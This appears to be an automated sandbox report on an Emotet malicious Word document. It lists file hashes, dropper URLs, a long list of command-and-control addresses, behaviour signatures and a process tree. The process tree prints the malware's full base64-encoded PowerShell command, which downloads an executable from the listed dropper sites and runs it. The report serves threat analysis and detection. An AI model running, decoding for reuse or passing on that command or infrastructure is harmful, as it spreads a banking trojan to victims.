emotet | 2aa3ae963e12e360ed0aa0cac15bb33e19e9359e7b08e7b2f9055df72c76c34f

General

Target
emotet_e1_2aa3ae963e12e360ed0aa0cac15bb33e19e9359e7b08e7b2f9055df72c76c34f_2020-08-20__112950._doc.doc
Size 237KB
Sample200820-r5fdwehe2e
SHA256 2aa3ae963e12e360ed0aa0cac15bb33e19e9359e7b08e7b2f9055df72c76c34f
MD5 b1fcc4750a4085a8c8505a92affa7622
SHA1 72a57f119c65e7c549e04d8587123800eb84af73
SHA512 32b2b1d56fe6426765902a7114743d4006398cf69cfc40e523519ecb43893a299ddaffc8f158cc8d92c01720c6d1f5e8c2131a82d698892b3ec9746522c191a0
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://jens-freiberg.de/cgi-bin/F/
exe.dropper
http://danidickdoof.de/cgi-bin/hts/
exe.dropper
http://bedburger-schweiz.de/assets/1v/
exe.dropper
http://brunhammer.de/cgi-bin/d/
exe.dropper
http://bsh-bauservice.de/anfrage/FZM/
exe.dropper
http://javla.de/cgi-bin/x4/
exe.dropper
http://m-huesken.de/cgi-bin/fgV/

Extracted

Family

emotet

C2

65.36.62.20:80
209.126.6.222:8080
5.153.250.14:8080
204.225.249.100:7080
77.90.136.129:8080
185.94.252.27:443
85.105.140.135:443
83.169.21.32:7080
190.190.148.27:8080
185.94.252.12:80
116.125.120.88:443
190.115.18.139:8080
61.92.159.208:8080
24.148.98.177:80
212.93.117.170:80
91.219.169.180:80
73.116.193.136:80
87.106.46.107:8080
187.162.248.237:80
70.32.115.157:8080
188.135.15.49:80
149.62.173.247:8080
190.6.193.152:8080
81.129.198.57:80
190.128.173.10:80
172.104.169.32:8080
68.183.190.199:8080
89.32.150.160:8080
95.9.180.128:80
178.79.163.131:8080
213.60.96.117:80
94.206.45.18:80
217.199.160.224:7080
73.213.208.163:80
143.0.87.101:80
104.131.103.37:8080
5.196.35.138:7080
202.4.57.96:80
77.55.211.77:8080
188.2.217.94:80
51.255.165.160:8080
46.28.111.142:7080
111.67.12.221:8080
177.73.0.98:443
94.176.234.118:443
45.33.77.42:8080
177.74.228.34:80
192.241.143.52:8080
181.129.96.162:8080
190.163.31.26:80
58.171.153.81:80
174.100.27.229:80
190.147.137.153:443
82.163.245.38:80
45.161.242.102:80
91.222.77.105:80
137.74.106.111:7080
209.236.123.42:8080
177.72.13.80:80
70.32.84.74:8080
191.182.6.118:80
212.71.237.140:8080
82.76.111.249:443
189.2.177.210:443
219.92.13.25:80
51.159.23.217:443
24.135.198.218:80
186.103.141.250:443
178.250.54.208:8080
95.85.151.205:80
192.241.146.84:8080
213.176.36.147:8080
50.28.51.143:8080
185.33.0.233:80
114.109.179.60:80
67.247.242.247:80
104.131.41.185:8080
80.249.176.206:80
190.195.129.227:8090
191.99.160.58:80
45.173.88.33:80
2.47.112.152:80
186.70.127.199:8090
207.144.103.227:80
72.47.248.48:7080
82.196.15.205:8080
24.135.1.177:80
201.171.150.41:443
152.169.22.67:80
170.81.48.2:80
68.183.170.114:8080
217.13.106.14:8080
186.250.52.226:8080
12.162.84.2:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2584	792	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3180-13-0x00000000022F0000-0x00000000022FC000-memory.dmp	emotet
behavioral2/memory/3180-13-0x00000000022F0000-0x00000000022FC000-memory.dmp	emotet
behavioral2/memory/2256-16-0x0000000002110000-0x000000000211C000-memory.dmp	emotet
behavioral2/memory/2256-16-0x0000000002110000-0x000000000211C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	2584	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3180	Kst21p7ps.exe
2256	shutdown.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\asycfilt\shutdown.exe	Kst21p7ps.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2584	powersheLL.exe
2584	powersheLL.exe
2584	powersheLL.exe
2256	shutdown.exe
2256	shutdown.exe
2256	shutdown.exe
2256	shutdown.exe
2256	shutdown.exe
2256	shutdown.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2584	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3180	Kst21p7ps.exe
3180	Kst21p7ps.exe
2256	shutdown.exe
2256	shutdown.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 3180	2584	powersheLL.exe	73
PID 2584 wrote to memory of 3180	2584	powersheLL.exe	73
PID 2584 wrote to memory of 3180	2584	powersheLL.exe	73
PID 3180 wrote to memory of 2256	3180	Kst21p7ps.exe	74
PID 3180 wrote to memory of 2256	3180	Kst21p7ps.exe	74
PID 3180 wrote to memory of 2256	3180	Kst21p7ps.exe	74

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2aa3ae963e12e360ed0aa0cac15bb33e19e9359e7b08e7b2f9055df72c76c34f_2020-08-20__112950._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3876

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZADIAaABsAG0AZQBtAD0AKAAnAEkAdwB6AGEAeAAnACsAJwB6ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBwAFwATwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBjAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAQwBVAFIAaQB0AFkAcABgAFIAYABPAFQAbwBDAE8ATAAiACAAPQAgACgAJwB0AGwAcwAnACsAJwAxADIALAAgACcAKwAnAHQAbABzADEAMQAsACAAdABsACcAKwAnAHMAJwApADsAJABIADMAbAB0AF8AegBlACAAPQAgACgAJwBLAHMAJwArACcAdAAyADEAcAA3ACcAKwAnAHAAcwAnACkAOwAkAFEAdgBiAHMAdAAyADAAPQAoACcATwB1AG8AcgAnACsAJwB5AHgAbAAnACkAOwAkAFQAeAByAGMAawBhADAAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGkAJwArACcAagBQACcAKwAnAE8AZgAnACsAJwBmAGkAJwArACcAYwBlADIAMAAxADkAaQBqAFAAJwApAC4AIgBSAEUAYABQAGwAYABBAEMARQAiACgAKABbAGMAaABhAFIAXQAxADAANQArAFsAYwBoAGEAUgBdADEAMAA2ACsAWwBjAGgAYQBSAF0AOAAwACkALABbAFMAdAByAEkAbgBnAF0AWwBjAGgAYQBSAF0AOQAyACkAKQArACQASAAzAGwAdABfAHoAZQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAUwB5AG0AMAA3AHYAegA9ACgAJwBEAHIAJwArACcAZwBvACcAKwAnAGUAcwA2ACcAKQA7ACQATwBoAHMAawBuAGcAcgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBFAFQALgB3AEUAQgBDAGwAaQBlAE4AVAA7ACQATAByAHMAOABuAG0AYgA9ACgAJwBoACcAKwAnAHQAdABwACcAKwAnADoAJwArACcALwAvAGoAZQAnACsAJwBuACcAKwAnAHMALQBmAHIAZQBpAGIAZQByAGcALgAnACsAJwBkAGUALwBjAGcAaQAnACsAJwAtAGIAaQBuAC8ARgAvACoAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwAnACsAJwBkAGEAbgAnACsAJwBpAGQAaQBjAGsAJwArACcAZABvAG8AZgAuAGQAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAnAC0AJwArACcAYgBpACcAKwAnAG4ALwBoAHQAcwAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBiAGUAJwArACcAZABiAHUAJwArACcAcgBnAGUAcgAtACcAKwAnAHMAYwBoAHcAZQBpACcAKwAnAHoALgAnACsAJwBkAGUAJwArACcALwBhAHMAJwArACcAcwBlAHQAcwAvADEAJwArACcAdgAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwBiAHIAdQBuAGgAYQBtAG0AJwArACcAZQByACcAKwAnAC4AZABlACcAKwAnAC8AYwBnAGkALQAnACsAJwBiAGkAJwArACcAbgAvACcAKwAnAGQALwAqAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AYgBzACcAKwAnAGgALQBiACcAKwAnAGEAdQBzACcAKwAnAGUAcgB2AGkAYwBlAC4AZABlAC8AYQAnACsAJwBuACcAKwAnAGYAcgBhAGcAZQAnACsAJwAvAEYAJwArACcAWgAnACsAJwBNACcAKwAnAC8AKgBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAGoAYQB2ACcAKwAnAGwAYQAnACsAJwAuAGQAJwArACcAZQAnACsAJwAvAGMAZwAnACsAJwBpAC0AYgBpACcAKwAnAG4ALwAnACsAJwB4ACcAKwAnADQALwAqAGgAdAB0AHAAJwArACcAOgAvAC8AbQAtACcAKwAnAGgAJwArACcAdQBlAHMAawAnACsAJwBlAG4ALgAnACsAJwBkAGUAJwArACcALwAnACsAJwBjAGcAaQAtAGIAaQBuAC8AZgBnAFYALwAnACkALgAiAHMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQBtAHIAMgBmADYAZAA9ACgAJwBCAGcAJwArACcAZQAnACsAJwB0AHUAOQA2ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEwAZABrAHMAbAB3ADQAIABpAG4AIAAkAEwAcgBzADgAbgBtAGIAKQB7AHQAcgB5AHsAJABPAGgAcwBrAG4AZwByAC4AIgBEAGAATwBXAG4AbABPAGEAYABkAGYAYABJAGwAZQAiACgAJABMAGQAawBzAGwAdwA0ACwAIAAkAFQAeAByAGMAawBhADAAKQA7ACQATABwADEAaABkAHUAZAA9ACgAJwBXACcAKwAnAHoAbgBjAHYAJwArACcAdgBtACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABUAHgAcgBjAGsAYQAwACkALgAiAEwAZQBuAEcAYABUAGgAIgAgAC0AZwBlACAAMgAxADMAOAAxACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawBlAC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAKAAkAFQAeAByAGMAawBhADAAKQA7ACQAUAB5AGwAZgB1AGYANwA9ACgAJwBLADgAMQBxAGcAJwArACcAMwBoACcAKQA7AGIAcgBlAGEAawA7ACQARwAwADEANAB5AHoAagA9ACgAJwBMADYAJwArACcAcQByAGEAbgBxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgA0ADAAagB1ADMANgA9ACgAJwBXAHcAMQAnACsAJwB5AG4AdgAnACsAJwB6ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Users\Admin\AppData\Local\Temp\Office2019\Kst21p7ps.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Kst21p7ps.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\SysWOW64\asycfilt\shutdown.exe
    "C:\Windows\SysWOW64\asycfilt\shutdown.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2256

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2256-16-0x0000000002110000-0x000000000211C000-memory.dmp

Download

memory/2584-7-0x00007FFC57F00000-0x00007FFC588EC000-memory.dmp

Download

memory/2584-8-0x0000028298170000-0x0000028298171000-memory.dmp

Download

memory/2584-9-0x00000282B0700000-0x00000282B0701000-memory.dmp

Download

memory/3180-13-0x00000000022F0000-0x00000000022FC000-memory.dmp

Download

memory/3876-0-0x00007FFC5F100000-0x00007FFC5F7C6000-memory.dmp

Download

memory/3876-4-0x00000204CB445000-0x00000204CB45D000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads